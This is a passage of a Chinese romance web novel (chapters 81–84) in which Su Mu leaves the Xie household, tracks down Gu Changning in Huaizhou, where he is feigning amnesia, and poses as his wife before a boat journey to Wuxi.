谢家与她有仇,她要杀出这个牢笼,也许第一个拿去祭奠沈家之人的可以就是他,他是不二之选。 苏木冷眼看着他,或许是因为身上的伤,她呼吸与手臂同时打颤,但她还是直直举起剑,将剑锋对准了他。 “你要拦我是吗。” 就算不拦,我能杀了你吗。 苏木这样自问,眼眶染上一丝红。 谢辞桉悲痛的面目变得更加痛苦起来,泪水比刚才也更加汹涌,他似乎想张嘴说话,但又像是被哽住了。 心痛到不能呼吸。他回想起在稽查司的牢房里,他曾亲自将尖刀刺进她的胸膛;回想起曾亲口祝她新婚快乐、又回想起了那日密室伤她手腕却发现她身份的欢喜,更想起来自己不愿面对的逃避造就的现在。 他说不出一句话来,他也没脸说。 恍惚了片刻,他默默地侧了身,为她让出了一条路。 “郭安,带她离开。” 他能说的,只有这句话。 苏木从刹那意外中回过神来,他看见了那个常跟在谢辞桉身侧的副卫。 苏木剑没有收回,只是这次指向的是郭安。 她压出情绪,忘掉了曾经想象过和她记忆中谢哥相认重逢的美好场景,苏木压着嗓子极近冷冽:“你是要像你爹那样,又把我关到什么地方去吗?” 苏木看到谢辞桉的肩膀颤抖的起伏。 他回话并不快,犹如被抽走了魂魄一般怔怔开口。 “不是。” “他送你出去,你想去哪里都可以,我……” “我……” 他又哽住了,他似乎连这句话都没脸说。 “对不起。” “我们谢家对不起你。” “若是你要取我命,你拿走吧……” …… 苏木怔住了。 如此局面,那个躺在奴场脏乱草席却怀着再次重逢的小女孩肯定想不到,他们的再认会是这样的场景,会说这样的话。 “谢哥哥,我很想你,这三年一直在想。” 再过两年,她进了闳离阁。 “谢辞桉,这几年我过的很好,我在蔺州,蔺州你知道吗,我可以带你去玩。” 再过五年,她杀过很多人了。 “谢辞桉……我们还能见到吗……” 我们,还能回到以前吗…… 苏木木然地闭眼,她的眼角有些湿润,却没有东西滴落下来。 许久,她深呼吸了一口气,然后垂下了手臂。 “珏乐,在谢府吗?” 她只问了这一句。 苏木没看他,谢辞桉亦低着头。 她不知道他的表情,但她听到了他嗯了一声。 “珏乐她,过的很好,很快乐,无忧无虑的。” “上元后她发了一场热……记不得以前的事了。” 记不得以前的事情了。连带着灭门之仇,她的姐姐,她都不记得了吗。苏木脸色苍白,她无力去追问些什么了。 谢均虽以珏乐威胁她,但她此刻也不能带她走,她无力自保,不能害了她。 她不知道还能不能相信眼前这个人,但最终她还是开口。 “谢辞桉,你什么都知道了,既然如此,我恳求你把她护好,别让人伤害到她……” 身着白衣的人掩面而泣,嘴里只不停咛喃。 “我知道的……知道的。” 直到人离去,他似乎也久久不能缓过神来。 …… 这一次,他寻找多年的人真的走了。不同于以前的念想,真的消失了。 他知道的—— 第82章 九月中旬, 淮州城天清如洗,碧蓝天空之下的淮州城河岸旁垂落着丝丝细柳, 小贩随岸而摆卖货,河上飘着许多小舟,有依靠栏杆小酌对诗的,亦有拦抱美人开怀大笑者。 拱桥地下穿过一轻舟,一眼望去,船头除了卖力划桨的胡须老头,还孑然立着一人。 那人身着一袭白色素纱, 头上戴着严严实实的帏帽, 不辨男女却气质卓然。 小舟靠岸, 那人从船上下来, 仔细一看,美中不足的是那人脚似乎有些跛, 走路时一低一高, 破坏了些美感。 给了碎银几两,苏木掀裙下船, 未作半分停留, 迅速离开了这边。 淮州离巫溪很近了, 只要到了巫溪,后日或许就能到绍华。 过去半个月,苏木从上京颠簸至淮州, 为了躲避相府的暗杀,颇费了一番功夫。 她去绍华的目的很明显,那日她伤重离开相府后在上京已是无处藏匿,侯府这个新夫人的身份已没了,侯府自然也是不能去了, 为了不拖累祝余,明净医馆她更是不能去。 她给老侯爷下的药并非普通迷药,她知道祝余的医术不在她之下,但因为毒不同则药不同,她还是想要将自己的解药拿去给老侯爷,就算是一份道歉之意。 可她还不知,老侯爷中的哪是她的迷药,他中的是要人性命的烈毒。 总之,这份歉意她只能辗转几地,依靠完成老侯爷对她的嘱托,替他找到顾长宁,然后将解药给他。 再然后再解掉顾长宁和她身上的蛊。 再再之后,桥归桥路归路。 她自己的事情她自己解决。她会将当年的事情查清楚,然后取了那人的项上人头,就算是鱼死网破她也无所谓。但是,她不想再连累别人了。 找了一家不太起眼的客栈,定了一间靠里的房间,苏木躺下好好休息了一番。 再醒来时外头天色已暗,推开窗门瞧着外头月色,苏木在那坐了很久。 半个月过去了,顾长宁还是没有半点消息。算起来他刚失踪那会儿加上这些天,快有三十日了。 一个活生生的人、一个那么狡猾的人可以三十日杳无音讯,是不是真的死了也未可知。 但若是他死了,她还能活着吗?他们不是连着同生共死的蛊毒吗? 或是这点能给她带来点安慰,让她不至于觉得这次的寻旅不至于无劳。 掩上窗,没了清凉的风,她又有些烦躁了。 她到底能不能找到顾长宁,找到后又能不能如同所愿解蛊,顾长宁知道了她给自己父亲下毒又会如何待她。 这些问题萦绕不断,斩不断理还乱。 不想了,出去走走吧。 这样一想,苏木戴着帏帽离开了客栈。 停驻在一家热闹酒楼跟前,苏木直接进去了。她坐在二楼依靠着栏杆的狭小单间,虽然空间不大但好在视野开阔,可以看清楚楼下与楼上。 楼下歌舞升平,丝竹绕梁,客人众多,酒楼生意好不热闹。 苏木旁边那桌估计是个大间儿,她能听到旁边舞女歌声比楼下还高,声音也比楼下悦耳,听得人酥酥麻麻,醉意阑珊。 苏木一盅接着一盅地喝,酒香甘甜醇香,后劲不大。 她没有偷听别人交谈的习惯,但旁边隔间声音着实太大,她就算不仔细听,那也听到了那么几句话。 只听一少年声音清脆:“我这哥哥之前受了点伤,现下好了大半,今日特意请他过来赏歌赏舞,不能喝酒。” “明兄你先听着曲子,一会儿还有舞女,我跟你说淮州城里最好的舞女就是这家的,今日你一定要瞧见。” 另一男子切了一声,带点阴阳怪气:“少来,你当我不知道,你就是怕我们对他动手动脚呗。” 少年笑道:“你可别乱说,他是我兄弟。” 那男子也笑:“哟,谁不知道他是你兄弟,一个捡来的兄弟,瞧给你紧张的。” 少年解释的有些焦躁:“你要是这般,你给我滚回去,莫在这胡言乱语。” “行行行。” “你好南风还不许我说了,哎兄弟,我瞧你姿色还是不错的,但看着也不像和他一样之人,我劝你养好伤还是快快走吧,你说呢。” 二人似乎是在为一人争执,但那一人偏偏没作声,只轻笑了一声,声音不大不小,刚好能落入苏木的耳朵。 苏木知道有一种感情叫做断袖之情,在南边的蔺州活了那么多年,对于这种南方好南风的景象早就见怪不见了。 她又小酌一杯,半晌没有回神。 她居然想起了顾长宁。顾长宁的长相锋利,三庭五眼皆很端正,若是放到南边,怕是很多人的最爱。 顾长宁是北方人,这种事怕是只在话本上见过,再加上他多年来不是行军打仗就是眼瞎看不了书,说不定这种事听都没听说过。 一想到他听说这种事情后许是一副难以置信又或者是嫌弃模样,苏木那冷淡的脸上久违地浮上了一丝春光。 隔间的攀谈还未结束。 少年哭叫:“哎不是我说,我这人胸无大志,巫溪那边又容不下我,我在外公这待的好好的,是真不想回去。” 另一男子也道:“我看啊这次让你回去准没好事,你那个后娘指不定给你使什么绊子,我劝你啊要不和之前一样,称病不去得了。” “我上一回就称病,上上上回也是……” 男子无语般:“厉害啊!” “不过燕兄啊,你好歹也是你们燕氏的大嫡子,你天天在淮州呆着,我要是你爹,我恨不得亲自过来逮你。” 少年哼气:“滚吧,少占我便宜,他们巴不得我死外面,这些年也没见得管我,现在让我回去,我又不是燕家养的一条狗。” 苏木挑眉,忽而知道了隔间那少年的身份了。四大世家之一的燕家掌管巫溪,燕伯的妻子乃是淮州府千金,早年生下一子便离世,后又续弦了一位,续弦的那位便是当今丞相的妹妹。 想到此处,苏木不禁多凝了几分神。 那日在谢家密室他我所看到的不止有箭镞,还有一沓书信,那书信年代久远纸张有腐烂迹象,但他还是瞧见了上面写的字为“燕广亲启”或“谢均亲启”。 是密信。 偶有一页纸卷露出,她看到了书信上出现过“杀”“灭”以及“周家”等字样。 这样串起来,总觉得这燕家也不简单。 “依我看来,燕兄可回。” “其一,你这次次不回那边便日日过来催,我瞧你整日为此心烦,不如去了说清楚早回;其二,听闻燕兄与燕家不和,少时燕家不曾像现今一般惦念你,如今反常必有妖,还是亲自去看看;其三,再怎么说燕伯也是你父亲,你忍心燕家偌大家业就落到他人之手吗?” 不再是两个男人来回搭话,多了一个声音。 男人声音不疾不徐,语调恣意。 声音种如同混杂着冬日寒雪的冷松。 苏木呆住了一刻,她身上起了一层鸡皮疙瘩。 “明兄说的有道理,我其实也犹豫着要不要去,毕竟前几日传来父亲受了风寒的消息,我倒很怕那人行什么手段。虽然父亲待我不亲,但……” 他叹了口气:“算了,明日我去。” “你去了你的明兄怎么办?” 男人轻笑一声:“我这身体也大好了,我记得当日燕兄便是在巫溪河边将我捞上来的,如今我想回去看看,说不定能想起些什么。” 燕兄,也就是燕伯大公子燕祐是也,他豪爽一笑,似乎很开心:“好啊,明日你同我一起。” “这事就这么定了。” “明兄,我看你如今精神好些便好,前些日子你像死人一般,倒吓死我了。” 另一男人问:“前些日子??我不记得明兄一只病恹恹的吗?” 燕祐笑着解释:“不是不是,之前是因为病啊,但半个月前,大概就是京中传来的八卦说老侯爷中毒,昭明侯新夫人死了那几天。” “我刚听完八卦回来正准备跟他讲讲呢,一瞧屋里怎么没人呢,到处找才看到明兄一个人站在我府里那株海棠树下面,一个人站在那吹冷风,脸色苍白难看的哟,等我看到他的时候,他当场就晕过去了。” “对了,我传的舞女呢,怎么还不来,尽唱曲子有什么趣,快传快传,今朝有酒今朝醉!” 他们旁边小隔间的人早就没见了,自然也没听到后面的话。 苏木混到了后院,换上了和舞女差不多的清倌服,混在他们之中。 随着众人踏着小步子来到这件华贵雅间门前时,苏木紧张地吸了一口凉气。 她得确定,有没有这么巧,那个声音她没有听错,那个声音的主人究竟是谁。 舞女按照排练好的节奏缓缓队列,随即奏乐响起,她们跳的妖娆多姿,美丽多娇。 苏木带着珠帘纱遮住了下半张脸,提起玉酒盏替人斟酒。 雅间的确大,但正中舞正跳的起劲,舞姿队列不断变化,苏木瞧不见人脸,只得等替人斟酒时再看。 雅间三双脚,对应着刚才说话的三人。 苏木先替靠着门口的公子斟酒,那男子长得端正但眼神含波,眸光在她身上流转时苏木想挖了他的眼睛。 但她没这么做,只笑着退下后又往正中而去。 正中的男子就靠谱许多了,苏木为他斟酒时他目不瞧她,眼睛只往左侧看,留给苏木的时一个还算朗俊的侧脸。她知道他就是燕祐了。 苏木顺着他望的方向而去,也已经做好了准备去接受那张是或者不是的脸。 但那人起来了,留给她的只有缓缓离去的背影。 他们刚才说了什么她不知道,这个人要去何处她也不知道,若是这么离去,苏木不清楚自己是否还能再听到这个声音。 她不动神色地退下后站到一边,然后趁人笑谈时又迅速顺着那背影离去方向而去。 退出雅间,空旷楼廊上再见不到那蓝白锦衣之人。 来往尽是小二或其余客人,嘈杂错乱,苏木四处张望又拐了好几个角。 楼下也没有。楼外也没有,人就这么不见了? 她锤了锤有些发疼的膝盖,失望地又往楼上去。 许是听错了。 苏木往自己小雅间走去,打算把那剩余的酒喝了便走,却没想撞上了一人。 不耐烦的睁眼,瞧见了刚才在席间含情打量她的人。 苏木连抱歉的话都懒得开口,皱着眉就要绕过他。但那人似乎来了兴趣,扣住了她肩膀。 “姑娘,刚才在席间怎么不见了,可是不尽心,没关系,爷可以陪你好好玩玩。” 玩个屁玩“滚!” 男子一愣,明显没见过谁家清倌还有如此大脾气的,一下兴致便被点燃了:“哟,姑娘脾气对我胃口,可以滚啊,姑娘陪我往床上滚滚如何。” …… 如此轻浮,有病且随处发情的烂人。 苏木交叉双臂,反手握住他捏着自己的肩膀,手肘一顶对方下颌,一脚把人踹开老远。 声音之大,各大雅间的人都出来看热闹了。 偏那男子居然也没恼羞成怒,而是翩翩站了起来,捂住了自己发疼的小腹。 “好姑娘,不陪便不陪呗,何故还伤人呢。” 苏木冷眼看他:“和你这种人有什么好说的。” 燕祐也出来了,看到这场景吃惊的不得了,连忙拉住捂住肚子的人:“段兄,你是不是又孟浪了?!” …… 叫段兄的人翻了翻白眼:能不能先关心一下我。 段萧苦笑:“滚吧,我孟浪她也不能要了我的命啊!” “况且她不是个瘸子吗,脚劲儿这么大吗,像是我爹派来暗杀我的。” …… 燕祐顺势看了看对面身着红色舞衣的女子,随即问向刚从楼下上来的酒楼掌柜:“你们楼里人伤人,赔吧。” 这掌柜哪能不认识燕祐,一下觉得自己碰到铁板了,想到自家酒楼的舞女都是签了卖身契的,想起往日做法,连忙陪笑:“燕公子,赔啊,我们肯定赔!还有这姑娘,段公子要是喜欢,送你了。” 苏木蹙眉,她就算不是酒楼清倌,她也讨厌女人被当作东西随手送来送去。 她转眼瞪了掌柜一眼,怒气不掩。 掌柜被盯地顿时汗毛起来了,为了找回些气势便趾高气扬:“你叫什么名字,我派人把你的卖身契拿来,交给段公子后,你以后就跟着段公子吃香喝辣的吧。” 我他妈还要感谢你是吧。苏木冷眼瞪着人,冷笑道:“我是你姑奶奶!”说罢,又踹了踹旁边凳子。 众人见这女子好像是个硬茬,顿时都懵逼了,好半晌无人说话。 “怎么了。” 苏木身后有人轻问。 似乎还携带着松柏的冷然清香。 掌柜回答:“没事没事,就是楼里人闹事。” “嗯。” 那人语气很懒:“闹事还不简单,送官府。” 耳尖再次捕捉到那熟悉的声音时,苏木正攥着拳头打算给那掌柜也来上一拳。 苏木顿时泄了力气,垂在纱裙上的指尖震颤个不停。那声音隔着雅间尚不清晰,可现在那声音就在身后格外清晰,她觉得自己甚至不需要确认。 苏木猛地转身,目光撞上那人眼睛地刹那睫毛微微颤动,呼吸似乎都停滞住了一般。 原来以为不知道还要多久才能见到的、不知道还能不能见到的人此刻就伫立在她跟前,她呼之欲出的话,突然就哽在了喉间,发不出一丝声响。 眼眶好像有什么东西要出来了,湿热的、酸楚的、惦念的、愧疚的。 可这双复杂的眼眸对上的,却是平静而冷淡的面容。 见人突然泪流满面,男子拧眉不语,面上划过一丝波动,但很快便平静如常。 二人没话,燕祐察觉到了不对劲。他看看明兄又看看女子,像是反应过来什么,于是指着男子一副我就知道的模样:“明兄,说罢,什么时候欠下的风流债,这姑娘怎么见着你就哭成这样,刚刚人还凶的像要吃人一样!” 男人太阳穴抽动,唇部抿成一条直线,淡淡吐出几个字:“我不认识。” 周围声音嗡嗡的,苏木听的不甚清晰,她仔细打量着眼前人,从挺阔的额头到眉宇、眼睛……脖子以至到整个人。 有些模糊,苏木轻擦了眼角,看清楚了眼前的人。 他瘦了,面部轮廓更加硬朗锋利,左眼眼皮上多了一道很浅的疤痕。 他的双眸没有刚恢复时那么清明了,有些浑浊黝黑,带着将人拉入无尽漩涡地寒意。 燕祐显然不信:“哈哈哈哈,你不承认!” 这下顾长宁眉头蹙地更深了,他说:“我说了我不认识,她既然闹事那就让官府来处置,你明日还要回巫溪,别把时间浪费在这。我们走吧。” 说完人就要走,苏木还木在原地反复酝读着那句不认识,掌柜已经迎着笑脸走到燕祐跟前:“那这人……段公子还要吗?” 段萧一挥手,潇洒跟在二人身后:“不要了,这事算了,反正是我的不是,她踹我也算扯平了,官府便不报了。” 人已远去两步,苏木无视掌柜正训斥她的话,几个疾步上去,伸手抓住了那蓝白澜衫男子的衣袖。 她抓的很轻,男子一甩便可甩掉。 可他没有。 苏木脑袋转的很快,虽然她面上还有泪痕,但是她从刚才的浑沌状态中清醒了过来。 男子蹙眉看他似乎很是不耐烦,苏木仔细凝视着他投来陌生厌恶的目光。她轻轻问:“你……真的,不认识我?” 她没有唤他那个众人皆知的名字,她现下有些怀疑,所以打算还是不贸然行动。 男子居高临下,眼睛从她身上一扫而过:“不认识,放手。” 拽着衣袖的手更紧了。 苏木深吸一口气,随即委屈巴巴得低下了头,肩膀因颤抖而起伏不定。 女子哑着嗓子吼道:“宁常你这个负心汉!” 燕祐:? 段萧:? 苏木继续哽咽诉哭:“你居然把我忘了!你知道我找你找了多久!你丢下我和我早夭的腹中子一走就没了音讯,如今见了我还要装作不认识我,我究竟做错了什么,做错了什么你告诉我,我会改的。” “宁常,你不要再抛下我了,宁常……”??? 顾长宁懵了—— 第83章 众人带着苏木回了淮州知府。 苏木那一番为了留下所掉下的眼泪为她随行起了不小的作用。 燕祐当时一听随即就叫苏木将面纱取了下来。一看见人脸, 人燕祐直觉就觉得这姑娘不像是什么不正经的清倌,那莹润的眼睛包含着冷意, 整张脸没了遮挡后更是戾气笼罩,和当时他捡到的顾长宁居然颇有几分相似的气质在。 当然他们也不能草率。于是燕祐和段萧便问:你有何证据证明你是明兄的妻子啊? 苏木思索片刻随即看向二楼柜台处的纸笔。取下两页空白草纸,她执笔落字写下了“宁常”二字道:“嫁与宁常时我胸无点墨,他教我认书习字,从不嫌弃,于是我这字便和他字迹相似信你们可叫他写上相同之字便可分晓了。” 于是燕祐接过苏木放在桌上另一空白纸页递给站着一动不动的顾长宁。 顾长宁没多说话,他多看了苏木一眼, 然后接过了那纸。 然后得出的结论就是:这两人的字的确师出同门。女子的字与男子的字虽还有些细微差别, 但若是不仔细看则如出一辙。 燕祐有了几分相信, 但他还是不敢轻易相信来历不明之人, 于是他看了看正看着他一副“你瞧吧,我说的是真的吧!”的苏木:“除此之外呢, 还有什么?若是你刻意模仿他人字迹, 也未尝说不通。” 苏木挑眉,终于拿出了杀手锏。她还记得之前她与顾长宁被人追杀中箭, 那时顾长宁的左腿被箭射伤, 而且箭头还嵌地挺深, 因此他左腿小腿外侧是有疤痕还未消的。 于是她说:“他小腿外侧有一处箭伤,哪是当年我同他在路上遭匪护我所伤,这处地方你们应该清楚, 若是寻常女子必定不能知晓,就算是十分亲近之人也不一定知晓,若你不信,你大可掀开他衣服查验。” 这还需要什么查验。当日燕祐救回顾长宁时就同大夫见过他全身上下,他身上伤痕无数, 腿骨处的箭伤也的确明显。 于是乎,众人皆不犹疑了。而且除此之外,苏木所描述人之性情习惯等皆与之相似无二。 当然其它不能说之事她也一个字没说。 回到府上,苏木被安排进一间拾掇地干净整洁并且还算宽敞的屋子。但她所歇息的屋子是被单独安排的。 从酒楼回知府的马车上苏木没机会同顾长宁乘坐,回到住处二者依旧是分开的,她现在正思索着要不要出去寻一寻顾长宁。 她还是不太相信顾长宁真的失忆了。 用过晚饭后,苏木在屋子里来回转了几次,还是决定出去找人。 在府中转悠半天,等她好不容易从窗外见着顾长宁时,发现他正和燕祐以及段萧在屋中相谈甚欢。她不怕等,于是她坐在外边石凳上听着耳边蝉鸣,瞧着天上圆月就这般等着。 不知过了多久,屋内依旧笑声不断,但外边已至夜半,虽说是盛夏时节,但身着素纱冷坐庭院多少还是有些发冷。 苏木见里面依旧没什么要停下动作的意味,她叹了口气往自家屋子里去了。 其实她也不清楚自己为何非要在那里等,但她坐在那里看着窗台里露着几分斯文淡笑的顾长宁时却觉得很心安。 光是他还活着,没丢了性命,没受什么不得了的大伤,就算失去记忆她似乎也觉得没什么了。 而且对于苏木来说,顾长宁失忆了并非不是什么好事情,至少他不记得他们之前锱铢必较地过去,也不记得他们逐渐相处平和的那些事情。 但他什么都不记得了,她要让他配合解蛊,以及老侯爷中她下的迷药这件事究竟要怎么开口,苏木却突然没底了。 但无论如何开口也无论顾长宁反应如何,她解决完这些事情后都要自行离开,这件事情是如何都无法改变的。 苏木在床上辗转想着这些事情,逐渐有了些睡意后便糊里糊涂地睡了过去。 第二日起的甚早,外头是一个小丫头来唤苏木,说是一个时辰后就要启程去巫溪。 淮州离巫溪也就隔着一江,水路远比陆路要近的多,因此今日启程坐的也是船。 洗漱完后小丫鬟端了干净整洁的新衣进来,苏木瞧着自己身上这件也的确穿了两三日了,遂没做拒绝,而是接过换上了。 不过这新衣倒的确合身,况且颜色也不算颜色,水蓝色,让人想起昨日顾长宁穿的那身。 被下人带着走到门前,顾长宁与燕祐等人也已在了。 四下张望,倒是没见着淮州府的州府大人,想毕有公务忙身,因此也没来送他这外孙一面。 果不其然,一见苏木来了,燕祐便笑道:“今日我外公在府衙有事耽搁了,不等他了,既然沈姑娘到了,我们便走吧。” 苏木回之一笑,缓缓看向他侧边之人。 顾长宁今日穿的也是一身靛蓝色长袍,领口和袖口都镶着行云流水的滚边,乌黑长发高高竖起,玉冠高立,别有一番清俊模样。 和他往日在上京爱穿些黑白灰不同,今日这一身显得他有些清瘦俊逸,也多了几分人情味,不像之前一副满脸写着生人勿近。 但还是可以瞧出,他这般清俊飘然也是有些瘦了的缘故。 所以绍华郡县究竟发生了什么事,苏木很想知道。 对上顾长宁的眼眸,他看了她一眼边别过眸子,先行一步上了马车。 燕祐见二人如同陌生人一般,于是悄悄拉过苏木衣袖解释:“你不要难过,他以前的记忆都没恢复,与你生疏了也是正常,沈姑娘你就先坐后面那一辆马车,我同明兄一道坐,你觉得呢。” 苏木看燕祐一眼,随即又偏头看前面那辆马车温和道:“无碍的,我都知道。” 说完她就要往后面而去,燕祐又将她扯了回来:“那个,还有就是……明兄说你现在对他来说如同陌生人一般,他失了记忆,不愿和陌生人一起,昨夜他提出在船上后也不同你住于一处,你……不介意吧?” 最后那句燕祐问的很是小心,毕竟按照他那个角度来看,一个女子若是被自己的夫君给嫌弃了或者不想与之相见的话,多少还是有些惨了。 苏木沉默了片刻然后收起了笑容:“我知道了,但是我既然找到了他,自然是希望他能够想起之前种种才是,因此在船上时就算不能歇在一处,但至少还是能和他处于一处吧。” 燕祐尴尬一笑:“哈哈哈哈,那是自然,那是自然。” 燕祐扶额,他这些话都是明兄让他说的,怎么现在看来颇有一副自己撬墙角的感觉。话说自己就算好南风,就算之前看明兄那张脸的确觉得舒心,但他也不是喜欢人夫之人。 所以燕祐又强调了一句:“沈姑娘不必担忧,等上了船,你有何话要同他将都可以,想和他处在一处就处一处。” 苏木淡道谢字便踏车进里。 话说淮州府州府大人对燕祐这个外孙也真是疼爱,虽然行水路之人只有燕祐、顾长宁同她三人,但州府大人依旧是雇了一艘巨大无比华贵无比的画舫,且什么丫鬟小厮还都是些会武功的,这是生怕自家小外孙出点什么意外。 到了船上,船驶不久,苏木便去寻了顾长宁。 上了二层,没瞧见喜欢跟在顾长宁身后的燕祐,便只瞧见顾长宁一人负手立在船头。 苏木没着急,她站在他身后瞧了他好一会儿。 等真的只剩下两人时,她那些要说出口的问出口的话似乎又噎在了喉咙里,一个字也说不出。 光是能看见人,似乎也觉得够了。 前者早就听到了后者的脚步声,他等着对方开口却没等到。 江风打在人脸上除了舒爽还有一丝冷冽,顾长宁偏过半分头,先开口道:“沈姑娘?” 第一次听顾长宁唤她那个久违的真实的姓氏,苏木有一瞬没反应过来。 “嗯?” 他转过头来,眉眼很是平静,嘴角微微勾着:“昨日在酒楼,你说你是我的妻子,唤作沈鱼,我应该没记错吧。” 回想起昨夜为了骗燕祐等人而说的话,她点点头:“没有记错。” 他掀袍坐在船头,看着立着的人:“沈姑娘应该有很多话同我讲对吗?” 苏木有些晕船,见他坐下她便也坐在离他有些距离之处:“是有一些。” “那你为何刚刚立在后头没开口,我还想,莫不是你是骗人的,刚刚在后面是想要从后面将我推入江中了。” 苏木看他,他面色平稳沉静,没有多余一丝一毫认出她来的不对劲,也没有一丝一毫躲闪她眸光。 若是真的失忆便罢了。若是假的,那他的演技未免太好,还是说对于他来说她本身就是一个无足轻重之人。 他有没有听说老侯爷病重的消息,听到上京那个苏木葬身火海的消息。他如果听到了会是怎样的反应。 苏木不自觉地就开始想起了这些。 一声轻笑传入苏木耳底。 “沈姑娘思索如此之久,我倒有些担心我现在的处境了。” 他看了看江面,似乎在丈量这江的深度会不会将他吞噬殆尽一般。 苏木没有顺着他的调侃往下说。 半晌她看他:“听燕祐说你是他在巫溪捡到的,巫溪离淮州并不远,难道没人找过你吗?” 她是在问扬风他们。一个将领、一个侯爷就这么失踪了,按理说他们应该沿着巫溪上下府州一一寻找的,怎么可能偌大一个人待在淮州州府,却没人发现。 所以苏木才会猜测扬风他们会不会知道些什么的。也许说不定小侯爷失踪这件事,本来就是个假命题。 至于燕祐,也许是真不知道,但是就算他好男风,平白捡来一美男子,说是没打听过身世,总觉得也不应该。 那么燕祐或者说淮州州府的人要想不知道,除非是有人故意不想要他们查到。 所以她只问了这么一句,她想看看顾长宁会怎么回答。 顾长宁并没有思考多久,他若有所思道:“或许是我在巫溪没什么亲人朋友,而仇家又不少,这才致无人寻我吧。” “你既然是我妻子,不如你告诉我我都有那些亲朋好友,而你我之间究竟又是怎么回事。” 轻易就将话抛给了苏木,果真还是当初的顾长宁。 苏木不落套,她答道:“你说的没错,” “你没什么亲人在世了,昨夜在酒楼我也说的很清楚了。你是个孤儿,征兵入伍,年前生了病被遣送回家,我家中刚好又缺米少盐的,于是被卖给你了,虽然日子清贫,但过的还算好,不久前寮州进犯玉寮关,你护我受了伤,我找寻不见,直至今日。” 苏木认真地看他:“这答案,你可满意?” 后者似是认真思考般想了片刻,最后手撑在船栏处托腮看她,笑吟吟道:“听着像是很惨样子,你嫁给我也像是被逼无奈般,既然这样你何必还来寻我,我如今记不得之前之事了,回了巫溪,你可离去,我不会拦你的。” 他话说的随意,好似真心为她打算一般。苏木却被这话刺的心中烦闷。 可他说的话在某种意义上又何尝有错,他俩的婚事本就是无奈之举,她如今新夫人的身份已死,她要离去,他也拦不住她。 苏木声音有些硬邦邦:“所以你认为,我特意寻到你是来告诉你我们最好一别两宽的吗?既然如此我为何不直接走,还要跟着你上船?” 他却还是笑:“不然呢,按你说的我们成婚不到一年,情意自然没有多深,你跟着我日子不好过,不如离去,若是你想,我可以……” “我不走。”我不走,我还要找你解蛊,解完蛊我就走。 她打断他话时说的笃定,以至于顾长宁怔愣地瞧着她,垂在膝上的五指不自觉地骤然收紧。 可不过一瞬,他又如之前,但这次开口颇带了几分玩笑的意味:“不走?为何?” “你莫说,你爱我喜欢我,想要和我长相厮守?” 四目相对,他像是要看穿她一般,眼底不肯放过她的半分神情。 霞光自东方散染,二人身上染上几分光,苏木脸庞柔和泛着暖。 她盯着他不加回避的双眸,沉默了片刻终于一笑。 “是啊” “我喜欢你,愿意和你一直下去。” “你不愿意吗?” “有了失忆这个借口,你就想甩了我,就像之前丢下我一样?” 就像之前绍华传来你失踪生死不明的消息,而你迟迟寄不回一封家书,丢下我一人在侯府,等着你所谓的那句“等我回来,我有话要告诉你。” 是这样吗,顾长宁。 第84章 话不应该这样说的, 这些话至少不应该对着没有任何记忆的顾长宁来说。但如果不说,她似乎也找不到什么机会说。 这句喜欢来的太过直白, 没有记忆的人都会尚之一震,何况是根本未曾失忆的顾长宁。 失忆这个话数不过是为了接近燕祐所撒的谎,所以昨日在酒楼瞧见苏木时,他的震惊与惊喜不比苏木差之分毫。 但他的计划还不能打破,所以装作不认识对于他来说才是最好的选择。 顾长宁一愣,突然不知道该说些什么。 但是这个答案是他所喜欢的。 一丝光亮划过眼底,他克制住自己想拥抱眼前人的冲动。 在得知她身陨的消息、在听到上京传来的老侯爷中毒的消息、在瞧见她在酒楼“起死回生”的身影、在当下她说出喜欢的情绪全部交杂在一起。他收回颐支在下颌的手掌, 垂落在在衣袖下的指节微微屈着, 也微微颤着。 被她那般磊落光亮的眼眸盯得发毛, 顾长宁别过了视线。 隐藏在融融暖光下的绒毛下的耳尖有些白里透红。 他声音有些闷闷的:“我没有要甩掉你。” 苏木胸口有些沉闷, 太阳穴也突突地跳着,她知道自己在外面呆地久了, 一看到江面就有些想吐。所以她没注意到顾长宁的不自然。 她压制出呕意, 语气平平:“是嘛,那你问那么多, 是不相信我还是想要撵我走, 我难道听不出来吗?” 顾长宁语速急了起来:“我没有。” 苏木轻笑叹气:“没有吗, 昨夜回府不同我同乘一辆马车,知府里也没机会近你的身,今日来码头依旧无法与你同行, 就连到了船上你也依旧对我冷言冷语。” “我还怕夫君厌了我。” “没有!” 苏木不知道顾长宁是装的,因而还在继续扮演着妻子的角色,这一声夫君叫的如此顺口,全然没注意到顾长宁惊地转头看向了他。 顾长宁再次反驳,随即还加上了一句:“我没了记忆, 总要小心才是。” 顾长宁被那句夫君弄得有发懵,回话回地乱七八糟,等他还没来得及仔细琢磨夫君二字时便偏头想要看看苏木当下神情,只这一眼便叫顾长宁顿时慌了神。 苏木面色苍白唇色全无,长眉紧蹙似是难受至极的模样。 他一惊,恰苏木昏地往栏杆处偏了偏,顾长宁抬手环住她的胳膊忙问:“你怎么了?” 苏木知晓自己有些坚持不住了,但见顾长宁扶着她她心安道:“无碍,有些晕船。” “那我扶你进去。” 顾长宁知道晕船之人应当是十分难受的,因此说完这句他便将人从地面拉起,蹒跚着往里去。 苏木头有些昏沉,心口正恶心地紧。顾长宁身上有着她最熟悉的味道,她为求舒服顾不了其它,被扶在顾长宁身侧时用脑袋往他怀里多拱了拱。 这一拱两个人差点都没站住,特别是顾长宁,差点僵地打滑跪。 他强支着身子,凝神看了看苏木那条歪歪扭扭地左腿,心中猛地生起一口无处发泄的火气。 将人安置躺下后,顾长宁再次回到了船头。 为了所谓的自由,纵火都要离了他,给父亲下毒也要离了他,纵使是瘸了一条腿都要离开他是吗。 苏木,你真有种。 …… 话说人一旦晕船那便只有靠睡才能得到缓解,于是乎有种的苏木一觉睡到大半夜才醒,而且还是被人给摇醒的。 一个不认识的小丫头盯着她,嘴里的话一句接一句的紧凑,大概意思就是说画舫底部出了点问题,现在大家都在抛小舟在江面,需要将人进行转移,其中就包括她。 事出太突然,苏木有些意外,她翻身去外查看,果真瞧见许多小舟飘在江面,饶是如此还有许多绳索上载着人一个个地往江面沉下去。 苏木脸色不太好,急忙问道身旁小丫头:“那你家公子燕祐呢,还有和我们一同来的男子,明兄,他们下去了吗?” 小丫头记得自家公子嘱咐,于是说道:“他们是最先下去的,公子嘱咐说你生着病,所以现在才唤你起来。” 见人不动,小丫头催道:“姑娘别磨蹭了,刚刚这时间还宽裕,现在则不行了,快跟我走吧。” 苏木跑到外面看了看四处,外面的确没什么人,她点点头跟在了小丫头身后。 